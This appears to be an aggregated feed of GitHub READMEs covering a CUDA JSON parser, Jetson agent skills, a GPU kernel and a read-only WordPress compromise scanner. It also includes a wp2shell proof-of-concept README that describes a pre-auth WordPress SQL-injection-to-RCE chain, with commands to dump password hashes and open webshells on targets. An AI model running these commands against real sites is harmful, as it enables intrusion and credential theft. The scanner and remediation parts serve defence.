Clone the Repository (if you haven't already):

git clone https://github.com/ashkanvg/cuJSON
cd cuJSON

Three entry points demonstrate the available JSON Lines chunking APIs.

Compile main_jsonlines.cu to split the input into four chunks:

nvcc -O3 -std=c++17 -arch=sm_80 main_jsonlines.cu -o cujson_jsonlines_count.out

Compile main_jsonlines_chunksize.cu to limit chunks to 256 MiB expressed in bytes:

nvcc -O3 -std=c++17 -arch=sm_80 main_jsonlines_chunksize.cu -o cujson_jsonlines_chunksize_bytes.out

Compile main_jsonlines_chunksize_MB.cu to specify the same limit in megabytes:

nvcc -O3 -std=c++17 -arch=sm_80 main_jsonlines_chunksize_MB.cu -o cujson_jsonlines_chunksize_mb.out

Run the binary for the chunking API you want to test:

./cujson_jsonlines_count.out ./dataset/twitter_sample_small_records.json
./cujson_jsonlines_chunksize_bytes.out ./dataset/twitter_sample_small_records.json
./cujson_jsonlines_chunksize_mb.out ./dataset/twitter_sample_small_records.json

Notes :

You can use any valid standard JSON or JSON Lines file as input. For more extensive testing, refer to the datasets section for information on using larger 1GB JSON datasets.
-arch=sm_80 targets compute capability 8.0 GPUs such as the NVIDIA A100. Replace sm_80 with the architecture of your GPU when building for another device. See NVIDIA's CUDA GPU compute capability list.
-std=c++17 selects the C++17 language standard used by the examples.
-O3 enables optimized host and device compilation.
The commands intentionally omit -w so compiler warnings remain visible during development.

🚀 Integrating cuJSON into Your Project

This section guides you on how to incorporate and utilize the cuJSON library within your own C++/CUDA projects for both standard JSON and JSON Lines parsing.

Core API

To integrate cuJSON, you'll generally follow these steps:

Include the cuJSON Source: Copy the entire cujson/ directory from this repository into your project's source tree. Ensure your build system (e.g., nvcc compilation) is configured to compile these files and include their headers.
Include the Main Header: In your source files where you intend to use cuJSON, include its primary header:

For Standard JSON:

#include "cujson/cujson.h"

For JSON Lines:

#include "cujson/cujsonlines.h"

Load Your JSON Data: Before parsing, load the data into a cuJSONInput or cuJSONLinesInput structure with the API matching the input format and chunking strategy.

For Standard JSON:

std::string filePath = "./dataset/twitter_sample_large_record.json";
cuJSONInput input = loadJSON(filePath);

For JSON Lines, there are multiple cases:

a. Split based on the number of chunks:

size_t chunkCount = 4;
std::string filePath = "./dataset/twitter_sample_small_records.json";
cuJSONLinesInput input = loadJSONLines_chunkCount(filePath, chunkCount);

b. Split based on the maximum chunk size in bytes:

std::string filePath = "./dataset/twitter_sample_small_records.json";
size_t maxChunkSizeBytes = 256 * 1024 * 1024;
cuJSONLinesInput input = loadJSONLines_chunkSizeBytes(filePath, maxChunkSizeBytes);

c. Split based on the maximum chunk size in megabytes:

std::string filePath = "./dataset/twitter_sample_small_records.json";
size_t maxChunkSizeMegaBytes = 256;
cuJSONLinesInput input = loadJSONLines_chunkSizeMegaBytes(filePath, maxChunkSizeMegaBytes);

Parse the JSON Data:

For Standard JSON:

cuJSONResult parsed_array = parse_standard_json(input);

For JSON Lines:

cuJSONResult parsed_array = parse_json_lines(input);

Access Parsed Results (Further Processing) The cuJSONResult structure (described in detail later) contains pointers to parsed data located in host (CPU) memory. You can either implement your own post-processing logic or use the built-in cuJSON query iterator to navigate the parsed result and extract desired values. We elaborate on the Query Iterator section for more information.

Summary of the Load and Parse APIs

API Method	Description
`cuJSONInput loadJSON(const std::string& filePath)`	Loads a Standard JSON file into a `cuJSONInput` structure.
`cuJSONLinesInput loadJSONLines_chunkCount(const std::string& filePath, size_t chunkCount)`	Loads a JSON Lines file and splits it into `chunkCount` chunks.
`cuJSONLinesInput loadJSONLines_chunkSizeBytes(const std::string& filePath, size_t chunkSizeBytes)`	Loads a JSON Lines file and splits it into chunks based on a maximum chunk size (in bytes).
`cuJSONLinesInput loadJSONLines_chunkSizeMegaBytes(const std::string& filePath, size_t chunkSizeMegaBytes)`	Loads a JSON Lines file and splits it into chunks based on a maximum chunk size (in megabytes).
`cuJSONResult parse_standard_json(cuJSONInput input)`	Parses a Standard JSON file after it has been loaded into a `cuJSONInput` structure.
`cuJSONResult parse_json_lines(cuJSONLinesInput input)`	Parses a JSON Lines file after it has been loaded into a `cuJSONLinesInput` structure.

Understanding cuJSONInput, cuJSONLinesInput and cuJSONResult Structures

These are the primary data structures for interacting with the cuJSON parser:

cuJSONInput: This structure defines the input format expected by the cuJSON parsing functions. It's designed to be a simple wrapper around raw byte data for Standard JSON.

struct cuJSONInput {
    uint8_t* data;                          // Pointer to the raw JSON data buffer
    size_t size;                            // The total size (in bytes) of the JSON data in the buffer.
};

cuJSONLinesInput: This structure defines the input format expected by the cuJSON parsing functions. It's designed to be a simple wrapper around raw byte data for JSON Lines.

struct cuJSONLinesInput {
    uint8_t* data;                          // pointer to the data buffer
    size_t chunkCount;                      // number of chunks in the parser
    size_t size;                            // size of the input data
    std::vector<uint8_t*> chunks;           // vector of pointers to each chunk
    std::vector<size_t> chunksSize;         // vector of size to each chunk
};

cuJSONResult: This comprehensive structure encapsulates the output of the GPU-based JSON parsing. It provides the necessary pointers and metadata to reconstruct and navigate the parsed JSON hierarchy.

struct cuJSONResult {
    uint8_t* inputJSON;                     // Raw JSON pointer metadata
    int chunkCount;                         // Number of parsed chunks
    int bufferSize;                         // Parser/iterator buffer metadata
    std::vector<int> resultSizes;           // Structural result size for each chunk
    std::vector<int> resultSizesPrefix;     // Prefix sums of per-chunk result sizes
    int32_t* structural;                    // Byte positions of JSON structural characters
    int32_t* pair_pos;                      // Matching closing index for each opening structure
    int depth;                              // Maximum nesting-depth metadata
    int totalResultSize;                    // Combined structural output size
    int fileSize;                           // Structural result span, including boundary entries
};

🗂️ Query Iterator

After parsing, use cuJSONIterator for Standard JSON or cuJSONLinesIterator for JSON Lines. Both iterators use the precomputed pair_pos and structural arrays to skip nested structures and navigate to keys or array elements efficiently.

Core APIs

The iterator classes share the core navigation methods, with two additional helpers available only for JSON Lines.

Initialize the Iterator: Create the iterator matching the parser result and pass the original file path as a C string.

cuJSONIterator standardIterator(&parsed_array, filePath.c_str());
cuJSONLinesIterator linesIterator(&parsed_array, filePath.c_str());

Traverse and Extract Data: Once initialized, you can use the iterator's methods to move through the JSON structure and retrieve information.

API Method	Availability	Description
`int gotoKey(std::string key)`	Both	Moves to the value associated with `key` in the current object.
`int gotoArrayIndex(int index)`	Both	Moves to an element in the current array.
`int increamentIndex(int index)`	Both	Advances by `index` positions in the structural array. This spelling is part of the current public API.
`int gotoNextSibling(int index)`	JSON Lines	Moves to another element in the current array.
`bool checkKeyValue(std::string key, std::string value)`	JSON Lines	Tests whether the current object contains the key-value pair.
`std::string getKey()`	Both	Returns the key at the current iterator position.
`std::string getValue()`	Both	Returns the value at the current iterator position.
`void reset()`	Both	Resets the iterator to the first structural entry.
`void freeJson()`	Both	Releases the iterator and parsed-result allocations.

For the bundled Standard JSON sample, enter the synthetic root and then the first array element before selecting lang:

standardIterator.gotoArrayIndex(0);
standardIterator.gotoArrayIndex(0);
standardIterator.gotoKey("lang");
std::string value = standardIterator.getValue();

For the bundled JSON Lines sample, select the first record and then its top-level lang field:

linesIterator.gotoArrayIndex(0);
linesIterator.gotoKey("lang");
std::string value = linesIterator.getValue();

Call freeJson() on the iterator when processing is complete:

standardIterator.freeJson();
// or
linesIterator.freeJson();

Examples

For a variety of usage examples, please refer to the files located in the paper_reproduced/query_example/ directory.

GitHub - eyesecurity/wp2shell-compromise-scanner-plugin: Read-only WordPress plugin that scans for artifacts of the wp2shell exploit chain (CVE-2026-63030 / ...

Fri, 24 Jul 2026 18:42:26 +0000

Compromise Scanner for wp2shell (read-only)

A standalone, read-only WordPress plugin that scans your database and plugin directory for signs that the wp2shell core chain (CVE-2026-63030 + CVE-2026-60137) was exploited — even if it happened weeks ago or the attacker cleaned up. It changes nothing on your site. It is safe to run on any install, patched or not.

This plugin does NOT mitigate the vulnerability. To temporarily protect an unpatched site, use the separate wp2shell Temporary Hotpatch (or just update core). Update to 6.9.5 / 7.0.2 / 6.8.6 as the real fix.

Get it

Download: latest release as .zip
WordPress plugin directory: (link goes live once the plugin is approved on WordPress.org)

Install

Download the zip above, then Plugins → Add New → Upload Plugin → select the zip → Install → Activate. Open wp2shell Scanner in the admin menu, then click Run scan to see the scored verdict and the severity-graded findings. Use Export report (.zip) to download the result plus the raw database rows an investigator needs — the exploit hides its SQL injection and admin creation in a request body that web servers don't log, so those DB artifacts are the primary evidence. The archive holds the report (JSON + text), the relevant oembed_cache / customize_changeset / suspect-post / suspect-user / orphaned-usermeta rows and changed plugin files (never password hashes), and a LOG-COLLECTION-GUIDE.txt for the server-side logs to gather by hand. Remove the plugin any time with the Remove this plugin button on the scan screen (or deactivate/delete normally).

Verdict

Weighted, read-only indicators map to a score: 50+ Multiple indicators, 25–49 Some indicators, under 25 No indicators. The strongest signal is the oembed_cache group (loopback reference / count-of-three / date window), plus high-parent-ID and PoC-titled posts, customize_changeset entries, wp2_ logins and @wp2shell.invalid emails, new non-founder admins, orphaned usermeta, wp_users id gaps, and leftover wp2shell_* webshell files or directories. It does not rely on any single naming convention.

Important — please read

This scanner is best-effort, not proof. It looks for known leftover traces of one specific exploit chain, so its output can be wrong in both directions:

A Some indicators or Multiple indicators verdict is not confirmation of a breach — indicators can have innocent causes (false positives), and every flagged item must be verified by a human.
A No indicators verdict is not a guarantee — a careful attacker can remove their own traces and a different or future attack may leave none (false negatives).

It is not a substitute for updating WordPress core or for a proper incident investigation by a qualified professional. Do not make remediation, disclosure, or "all clear" decisions on this tool's output alone.

Legal

This software is provided "as is", without warranty of any kind, express or implied, including merchantability, fitness for a particular purpose, and non-infringement. To the maximum extent permitted by law, the authors, contributors, and distributors accept no liability for any damage, data loss, downtime, false positives, false negatives, missed detections, or for any action taken or not taken based on its output — direct, indirect, incidental, or consequential. You are solely responsible for ensuring you are authorized to run it on a given site and for independently verifying its results. Use entirely at your own risk. Licensed under the GNU GPL v3 (see LICENSE).

GitHub - Icex0/wp2shell-poc: wp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain · GitHub

Fri, 24 Jul 2026 18:42:26 +0000

wp2shell-poc

Independent proof-of-concept for the unauthenticated WordPress REST batch route-confusion SQL injection associated with Searchlight Cyber's wp2shell advisory.

This repository is not Searchlight Cyber's official checker. check confirms the SQLi path, read demonstrates database read, and shell opens a plugin-backed command shell either with supplied administrator credentials or by first exercising the SQLi-to-admin bridge.

Detection / IoCs: Elastic Security Labs and Eye Security published detection guidance and indicators for this chain. See the Elastic write-up and the Eye Security defenders guide.

Affected versions

Searchlight Cyber's advisory lists these wp2shell RCE exposure ranges:

How it works

The REST batch endpoint (/batch/v1) is unauthenticated and runs several sub-requests in one call, relying on each sub-request being validated and permission-checked on its own.

serve_batch_request_v1() builds two parallel arrays — $matches (the matched handler per sub-request) and $validation (the validation result per sub-request) — then indexes both by the same offset when dispatching. A sub-request whose path fails wp_parse_url() is appended to $validation but not to $matches, so the arrays fall out of step and a sub-request is dispatched under a different sub-request's handler. That is the route confusion.

The PoC nests the primitive twice:

A POST /wp/v2/posts request that carries a requests body is dispatched under the batch handler itself. Having been validated as a posts request, its requests list is never checked against the batch schema, so its sub-requests may use GET — the method allow-list is bypassed.
Inside that inner batch, a GET /wp/v2/posts/999999 item-route request carries posts collection query params such as author_exclude, orderby, and per_page. The 999999 ID does not need to exist; it is just an unlikely post ID used to match the item route, whose schema does not validate those collection-only params. The desync then dispatches the same request under posts get_items(), where author_exclude maps to the WP_Query author__not_in query var, which the vulnerable build interpolates into SQL as a string.

The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC also includes the UNION fake-post primitive used by the SQLi-to-admin chain.

The RCE path implemented here is:

Use UNION fake wp_posts rows to render attacker-controlled content through a posts collection. The render bridge uses the /wp/v2/posts/999999 item-route source — the same route the SQLi read uses to reach get_items().
Use that render to make WordPress create real oEmbed cache posts.
Recover those real cache post IDs through the SQLi.
In one poisoned batch request, recast those IDs as a customizer changeset, navigation item, and request hook shape.
Let the same request reach POST /wp/v2/users, creating a generated administrator.
Log in as that generated administrator and use plugin upload behavior to run a command.

Steps 1–5 are pre-authentication; the command-execution step is authenticated admin plugin upload.

Requirements

Python 3.8+ and the standard library. No third-party dependencies.

Usage

Run it from the repository directory:

./wp2shell.py <command> <url> [options]

Or pip install . to get a wp2shell command on your PATH.

check — non-destructive vulnerability check

Prints passive WordPress markers and public version hints first, then sends a benign batch marker probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern parse_path_failed, block_cannot_read, and rest_batch_not_allowed.

The marker probe is based on the WordPress core fix. The malformed /// request creates parse_path_failed; a /wp/v2/posts request acts as a batch-allowed spacer; the /wp/v2/block-renderer/... route is not batch-allowed but returns block_cannot_read if its handler is reached anonymously; /batch/v1 gives rest_batch_not_allowed. On vulnerable builds the parse error shifts the batch handler arrays out of step, so the spacer request is dispatched under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three pattern should not appear for the crafted probe.

By default, check stops there and does not send an SQLi payload. Use --confirm-sqli when you also want an active SQLi confirmation. The confirmation tries the UNION read primitive first and falls back to paired timing probes if UNION reflection is unavailable.

The signals are independent: a version hint is only a hint, the marker pattern shows route confusion, and --confirm-sqli shows a payload reached the database. A WAF can block the payload, so a failed confirmation doesn't prove the bug is absent.

./wp2shell.py check http://target
./wp2shell.py check targets.txt          # scan every URL in the file

read — extract data through SQL injection

./wp2shell.py read http://target                      # server fingerprint
./wp2shell.py read http://target --preset users       # user logins and password hashes
./wp2shell.py read http://target --query "SELECT @@version"

By default extraction is --technique auto, which tries the available methods in this order:

union — forges a fake WP_Post row via UNION and reads its title back from the REST response as ||HEX(value)||. The payload uses the same /wp/v2/posts/999999 source route with orderby=none and per_page=500 so the fake row survives as a rendered post. One request per value.
error — EXTRACTVALUE/UPDATEXML leak ~15 bytes per request, when the target reflects MySQL errors (e.g. WP_DEBUG_DISPLAY on).
blind — boolean binary search, ~8 requests per character; reads the posts collection X-WP-Total header as the true/false signal and needs no reflected value.

Force one with --technique union|error|blind. These read paths do not write database rows.

shell — command execution

With --user and --password, shell logs in with supplied administrator credentials and uses WordPress plugin upload behavior.

Without credentials, shell first runs the pre-auth SQLi-to-admin bridge, logs in as the generated administrator, then uploads the plugin shell.

./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
./wp2shell.py shell http://target --user admin --password '<recovered>' -i   # interactive shell
./wp2shell.py shell http://target --cmd id                                   # pre-auth bridge
./wp2shell.py shell http://target -i                                         # pre-auth interactive

shell uploads a plugin webshell (locked behind a random path and a per-run token) and prints its path. The uploaded webshell is removed automatically. When the pre-auth bridge creates an administrator, that generated account is removed automatically after the shell session finishes.

Options

Option	Applies to	Description
`--proxy URL`	all	Route traffic through an HTTP proxy (for example, Burp).
`--timeout N`	all	Request timeout in seconds.
`--sleep N`	check	Delay used by the timing fallback for `--confirm-sqli`.
`--samples N`	check	Timing pairs used by the timing fallback for `--confirm-sqli`.
`--confirm-sqli`	check	Also send an active SQLi confirmation payload.
`--preset`	read	`fingerprint` or `users`.
`--technique`	read	`auto` (default), `union` (in-band, forges a fake post), `error` (in-band, needs visible DB errors), or `blind`.
`--query`	read	A scalar SQL expression to read.
`--prefix`	read	Database table prefix (default `wp_`).
`--max-length N`	read	Maximum characters read per value (default 128).
`--user` / `--password`	shell	Optional admin credentials; omit both to use the pre-auth bridge.
`--cmd`	shell	Command to run (omit when using `-i`).
`-i` / `--interactive`	shell	Open an interactive shell after deploying.

Remediation

Update to WordPress 7.0.2, or 6.9.5 if the site is on the 6.9 branch. Until then, block both /wp-json/batch/v1 and the rest_route=/batch/v1 query parameter at the edge, or require authentication for the batch endpoint via the rest_pre_dispatch filter.

Legal

For authorized security testing only. Use it exclusively against systems you own or have explicit written permission to test. No warranty is provided and no liability is accepted for misuse.

References

WordPress 7.0.2 release announcement — https://wordpress.org/news/2026/07/wordpress-7-0-2-release/
Searchlight Cyber wp2shell advisory — https://slcyber.io/research-center/wp2shell-pre-authentication-rce-in-wordpress-core/
Hackify — wp2shell technical analysis — https://hackify.nl/en/blog/wp2shell-wordpress-core-rce/
sergiointel/wp2shell-poc SQLi-to-admin bridge — https://github.com/sergiointel/wp2shell-poc
Elastic Security Labs — wp2shell detection & IoCs — https://www.elastic.co/security-labs/wp2shell-wordpress-rce-detection-elastic-defend
Eye Security — wp2shell defenders guide — https://labs.eye.security/wp2shell-defenders-guide/

GitHub - NVIDIA-AI-IOT/jetson-device-skills: Foundational Agent Skills for NVIDIA Jetson Device · GitHub

Fri, 24 Jul 2026 18:17:26 +0000

jetson-device-skills

Description

jetson-device-skills is a catalog of Agent Skills for working with a live NVIDIA Jetson device after it has booted. The skills are intended to be present on the Jetson and provide agent-readable instructions plus small helper scripts for diagnostics, memory auditing, runtime selection, model serving, benchmarking, packaging guidance, and related Jetson device workflows.

This repository is device-side. Skills here run on the Jetson, inspect the Jetson, or provide commands that an agent should execute on the Jetson. BSP customization before flashing belongs in the sibling jetson-bsp-skills repository.

This project is currently not accepting contributions.

Included Skills

jetson-diagnostic captures a read-only device health snapshot, including Jetson identity, memory, GPU, thermal, power, storage, services, and top processes.
jetson-memory-audit measures DRAM/NvMap usage and verifies before/after memory reclamation with live audit data.
jetson-headless-mode helps turn a Jetson into a headless edge node by disabling the desktop and safe background services.
jetson-inference-mem-tune recommends serving runtimes and memory flags for vLLM, SGLang, llama.cpp, and TensorRT Edge-LLM.
jetson-llm-serve provides Jetson-appropriate vLLM and SGLang serving recipes.
jetson-llm-benchmark emits structured benchmark metrics for vLLM, llama.cpp, and Ollama paths.
jetson-package guides Jetson-specific package, wheel, and container choices.
jetson-speculative-decoding adds Jetson-specific EAGLE-3 or draft-model speculative decoding guidance for vLLM.

Installation

Clone the repository on the Jetson device:

git clone https://github.com/NVIDIA-AI-IOT/jetson-device-skills.git
cd jetson-device-skills

Install the skills into the agent skill directories on the Jetson:

./install.sh

By default, install.sh links the skills into the user-level skill roots for Claude Code, Codex, and Cursor:

~/.claude/skills
~/.codex/skills
~/.agents/skills
~/.cursor/skills

You can select specific targets or copy files instead of creating symbolic links:

./install.sh --targets claude,cursor
./install.sh --targets cursor-project --project /path/to/project
./install.sh --copy
./install.sh --force

For NemoClaw/OpenClaw sandboxes:

./install.sh --targets nemoclaw --nemoclaw-sandbox jetson-skills

Restart the agent session after installation so the new skill entries are picked up. If your agent expects a different skill directory, copy or sync the skills/ directory into that location. Keep each skill as a complete directory containing its SKILL.md, scripts/, and references/ content.

Usage

Each skill lives under skills/<skill-name>/ and starts with a SKILL.md file. After install.sh links or copies the skills into the agent's skill directory, agent runtimes such as Cursor, Claude Code, Codex, or NemoClaw/OpenClaw can discover the skills from their frontmatter descriptions and follow the instructions in the selected skill.

Some skills include helper scripts under scripts/, but users normally do not need to call those scripts directly. The agent should invoke the relevant helper when a skill asks for live Jetson data, then use the returned output as the source of truth.

Repository Layout

jetson-device-skills/
├── README.md
├── LICENSE
├── install.sh
├── agents/
└── skills/
    ├── jetson-diagnostic/
    ├── jetson-headless-mode/
    ├── jetson-inference-mem-tune/
    ├── jetson-llm-benchmark/
    ├── jetson-llm-serve/
    ├── jetson-memory-audit/
    ├── jetson-package/
    └── jetson-speculative-decoding/

License

This code is dual-licensed with documentation under the CC-BY-4.0 AND source code under Apache-2.0 license terms. See LICENSE.

GitHub - NVIDIA-AI-IOT/jetson-bsp-skills: Agentic Skills for Jetson BSP Customization · GitHub

Fri, 24 Jul 2026 18:17:26 +0000

Agentic Skills for Jetson BSP Customization

This repository contains Claude Code skills for setting up and customizing an NVIDIA Jetson Linux Board Support Package (BSP).

The goal is to let an engineer work from a normal project workspace: pick a Jetson target, prepare the BSP image and sources, make BSP customizations through guided skills, then promote, flash, and validate the result.

This project is currently not accepting contributions.

Disclaimer

These skills help automate Jetson BSP setup and customization, but they do not replace NVIDIA official documentation or engineering review. Review generated plans, commands, diffs, and commit messages before accepting them. Flashing can erase device storage or leave a target temporarily unbootable, so keep backups and verify the active target, BSP release, and hardware setup before deploy steps.

What This Repo Provides

This repo is a skill bundle. It does not contain a Jetson BSP image, source tarballs, or board documents. Instead, it installs instructions, templates, and helper references into a workspace so Claude Code can guide the BSP workflow.

The skills cover four broad stages:

Stage	What happens
Setup	Create/select the active target, download or register BSP inputs, extract the image, initialize sources, and link documents.
Customize	Apply BSP changes such as pinmux, USB, PCIe, UPHY, clocks, fan, nvpmodel, camera, MGBE, or memory tuning.
Build	Rebuild source-side artifacts when a customization changed kernel-side sources.
Deploy	Promote workspace changes into the BSP image, flash the device, and validate the result.

Skills at a Glance

Type	Skill	One-line introduction
Setup	`/jetson-quick-start`	Starts the setup flow, asks the core questions, and dispatches the right setup skills.
Setup	`/jetson-init-target`	Creates a target-platform profile and updates the active target pointer.
Setup	`/jetson-set-target`	Switches the active target pointer to an existing profile.
Setup	`/jetson-download-bsp`	Downloads Jetson Linux BSP artifacts for the Auto Setup path.
Setup	`/jetson-init-image`	Extracts the BSP image, applies binaries, and records the image path.
Setup	`/jetson-init-source`	Initializes the source workspace, overlay tracker, BSP sources, and toolchain.
Setup	`/jetson-link-docs`	Registers local Jetson reference documents in the active profile.
Setup	`/jetson-generate-kb`	Builds a per-target markdown knowledge base from the prepared workspace.
Customization	`/jetson-derive-carrier`	Forks reference carrier files and scaffolds a custom-carrier overlay.
Customization	`/jetson-customize-pinmux`	Edits pinmux DTSI for SoC pin function, direction, and pull settings.
Customization	`/jetson-customize-usb`	Enables or disables Jetson USB2/USB3 SS ports via kernel-DT overlay.
Customization	`/jetson-customize-pcie`	Configures PCIe controller mode and link speed on the carrier.
Customization	`/jetson-customize-uphy`	Allocates UPHY lanes across PCIe/USB3/MGBE on custom carriers.
Customization	`/jetson-customize-mgbe`	Configures MGBE Ethernet controller, PHY, and MAC settings.
Customization	`/jetson-customize-camera`	Edits camera device tree overlays for CSI sensors and tegra-camera-platform.
Customization	`/jetson-customize-clocks`	Edits BSP-side clock, DVFS, governor, and BPMP DTB settings.
Customization	`/jetson-customize-fan`	Edits nvfancontrol profiles, curves, governors, and boot defaults.
Customization	`/jetson-customize-nvpmodel`	Edits nvpmodel power modes, clamps, and boot defaults.
Customization	`/jetson-optimize-memory`	Reclaims DRAM by disabling or resizing unused reserved-memory consumers.
Build	`/jetson-build-source`	Rebuilds DTBs, modules, or kernel artifacts from source-side changes.
Deploy	`/jetson-promote-image`	Stages customized overlay files and build outputs into the BSP image.
Deploy	`/jetson-flash-image`	Flashes a promoted BSP image to a Jetson DUT in recovery mode.
Deploy	`/jetson-validate-image`	Runs static BSP checks and on-target validation after flashing.
Inspection	`/jetson-print-bsp-info`	Prints a quick host-side summary of a Linux_for_Tegra BSP tree.

Install the Skills Into a Workspace

Clone this repository:

git clone https://github.com/NVIDIA-AI-IOT/jetson-bsp-skills.git
cd jetson-bsp-skills

Install the skills into a workspace:

./setup.sh --workspace <workspace>

Then start Claude Code from that workspace:

cd <workspace>
claude

Inside Claude Code, ask:

help me setup the bsp customization workspace

This should start /jetson-quick-start, the recommended entry point for new users and the easiest way to choose the right setup mode.

Typical First Run

For a new user, the normal path is:

Install this skill bundle with setup.sh.
Start Claude Code from the workspace.
Ask help me setup the bsp customization workspace.
Choose Auto Setup for a fresh workspace, or Guided Setup if you already downloaded BSP inputs.
Answer the platform, BSP release, and custom-carrier questions.
Let quick-start run the setup chain.
If using a custom carrier, run or allow /jetson-derive-carrier before customization skills.
Run the needed /jetson-customize-* skill.
Run /jetson-promote-image, /jetson-flash-image, and /jetson-validate-image when ready to deploy.

License

This code is dual-licensed with documentation under the CC-BY-4.0 AND source code under Apache-2.0 license terms. See LICENSE.

GitHub - nusquama/n8nworkflows.xyz: N8N Workflows Catalog · GitHub

Fri, 24 Jul 2026 18:16:26 +0000

Search code, repositories, users, issues, pull requests...

Clear

Search syntax tips

Appearance settings

nusquama / n8nworkflows.xyz Public

Notifications You must be signed in to change notification settings
Fork 645
Star 2.5k

nusquama/n8nworkflows.xyz

Branches Tags

Open more actions menu

Folders and files

Name		Name	Last commit message	Last commit date
Latest commit History 45,324 Commits 45,324 Commits
workflows		workflows
README.md		README.md

Repository files navigation

About

N8N Workflows Catalog

n8nworkflows.xyz/

Topics

n8n n8n-automation n8n-node n8n-nodes n8n-template n8n-workflow n8n-workflows

Resources

Readme

Activity

Stars

2.5k stars

Watchers

27 watching

Forks

645 forks

Report repository

Releases

Packages

Contributors

You can’t perform that action at this time.

erasure-coding-durability/calculation.ipynb at master · Backblaze/erasure-coding-durability · GitHub

Fri, 24 Jul 2026 18:12:05 +0000

Search code, repositories, users, issues, pull requests...

Clear

Search syntax tips

Appearance settings

Uh oh!

There was an error while loading. Please reload this page.

Backblaze / erasure-coding-durability Public

Notifications You must be signed in to change notification settings
Fork 12
Star 55

Expand file tree

calculation.ipynb

Copy path

More file actions

Latest commit

History

224 lines (224 loc) · 10.1 KB

calculation.ipynb

Copy path

File metadata and controls

224 lines (224 loc) · 10.1 KB

Raw

Copy raw file

Download raw file

Edit and raw actions

You can’t perform that action at this time.

GitHub - HazyResearch/ThunderKittens: Tile primitives for speedy kernels · GitHub

Fri, 24 Jul 2026 18:11:56 +0000

#include "kittens.cuh"
#include "prototype.cuh"

using namespace kittens;
using namespace kittens::prototype;
using namespace kittens::prototype::lcf;

template<int M_BLOCK, int N_BLOCK>
struct matmul_layout {
    using  base_tile      = st_bf<64, 64>;
    using  global_layout  = gl<bf16, 1, 1, -1, -1, base_tile>;
    struct globals        { global_layout A, B, C; };
    struct input_block    { base_tile a[M_BLOCK], b[N_BLOCK]; };
    struct finish_block   { base_tile c[M_BLOCK][N_BLOCK]; };
    struct common_state   { int2 coord; };
    struct consumer_state { rt_fl<16, N_BLOCK*base_tile::cols> accum; };
};
template<int _M_BLOCK=2, int _N_BLOCK=4, int _SUPER_M=12>
struct matmul_template {
    static constexpr int M_BLOCK = _M_BLOCK, N_BLOCK = _N_BLOCK, SUPER_M = _SUPER_M;
    using layout    = matmul_layout<M_BLOCK, N_BLOCK>;
    using wide_tile = st_bf<64, 64*N_BLOCK>;
    static constexpr int NUM_CONSUMER_WARPS=M_BLOCK*4, INPUT_PIPE_STAGES=4, PRODUCER_BARRIER_ARRIVALS=1;
    // Helper functions
    template<bool PERISISTENT_GRID=true> __host__ static inline dim3 grid(int M, int N, int K) {
        return dim3(PERISISTENT_GRID ? 132 : M*N/(M_BLOCK*N_BLOCK*layout::base_tile::num_elements));
    }
    // ThunderKittens template functions
    __device__ static inline void common_setup(common_setup_args<layout> args) {
        int Rblocks = args.globals.C.rows() / (M_BLOCK*64), Cblocks = args.globals.C.cols() / (N_BLOCK*64);
        int super_rows = (Rblocks/SUPER_M)*SUPER_M,
            final_rows = Rblocks - super_rows,
            super_repeat = SUPER_M*Cblocks;
        int task_id = args.task_iter*gridDim.x + blockIdx.x;
        if (task_id < super_rows * Cblocks)
            args.common.coord = { SUPER_M*(task_id/super_repeat) + task_id%SUPER_M,
                           (task_id%super_repeat)/SUPER_M };
        else if (task_id < Rblocks*Cblocks) {
            int remainder_id = task_id - super_rows*Cblocks;
            args.common.coord = { super_rows + (remainder_id%final_rows), remainder_id/final_rows };
        }
        else { // Id is too high, no more work to do
            args.num_iters = -1;
            return;
        }
        args.num_iters = args.globals.A.cols()/64;
        int id = warpgroup::groupid() == NUM_CONSUMER_WARPS/4 ? 0 : warpgroup::groupid(); // producer sets as 0
        args.common.coord = { args.common.coord.x*M_BLOCK + id, args.common.coord.y*N_BLOCK };
    }
    struct producer {
        __device__ static void setup(producer_setup_args<layout> args) {
            warpgroup::decrease_registers<40>(); // decrease registers for producers
        }
        __device__ static void load(producer_load_args<layout> args) {
            if (warpgroup::laneid() == 0) {
                tma::expect(args.inputs_arrived, args.input);
                for(int i = 0; i < M_BLOCK; i++)
                    tma::load_async(args.input.a[i], args.globals.A,
                                    {args.common.coord.x+i, args.iter}, args.inputs_arrived);
                for(int i = 0; i < N_BLOCK; i++)
                    tma::load_async(args.input.b[i], args.globals.B,
                                    {args.iter, args.common.coord.y+i}, args.inputs_arrived);
            }
        }
    };
    struct consumer {
        __device__ static void setup(consumer_setup_args<layout> args) {
            warpgroup::increase_registers<232>(); // increase registers for consumers
            kittens::warp::zero(args.state.accum);
        }
        __device__ static void compute(consumer_compute_args<layout> args) {
            warpgroup::mma_AB(
                args.state.accum, // dest registers
                args.input.a[warpgroup::groupid()], // A matrix
                reinterpret_cast<wide_tile&>(args.input.b) // B matrix
            );
            warpgroup::mma_async_wait();
            if (warp::laneid() == 0) arrive(args.inputs_finished);
        }
        __device__ static void finish(consumer_finish_args<layout> args) {
            warpgroup::store(reinterpret_cast<wide_tile&>(args.finish.c[warpgroup::groupid()]), args.state.accum);
            warpgroup::sync(warpgroup::groupid()+4);
            if (warpgroup::laneid() == 0) for(int i = 0; i < N_BLOCK; i++) {
                tma::store_async(args.globals.C, args.finish.c[warpgroup::groupid()][i],
                                             {args.common.coord.x, args.common.coord.y+i});
                tma::store_async_read_wait(); // wait that store is finished before reusing finish memory
            }
            kittens::warp::zero(args.state.accum);
            if (warp::laneid() == 0) arrive(args.finish_finished);
        }
    };
};

Roastidio.us in webspace https://github.com/

Celld: Self-hosted, distributed Durable Objects

jujutsu 0.44.0

schrodingers-toctou: The binary you run is not the program you wrote

Show HN: The Channels SDK – Bring Any Agent to Any Channel (Slack, MS Teams)

Show HN: Wallfacer – A terminal session manager for Claude Code, and more

DeepSeek V4 Flash on a Single AMD MI300X

FFmpeg 9.0

AirLLM 70B inference with single 4GB GPU

GitHub - janestreet/bonsai: A library for building dynamic webapps, using Js_of_ocaml · GitHub

Bonsai

Bonsai

Why Bonsai?

Expressive tests that save you from manually clicking through your app

Documentation

Bonsai is really a collection of libraries

General-purpose libraries

Browser-based UI Libraries

Terminal-based UI Libraries

Pre-processors

Rust project goals: Immobile types and guaranteed destructors

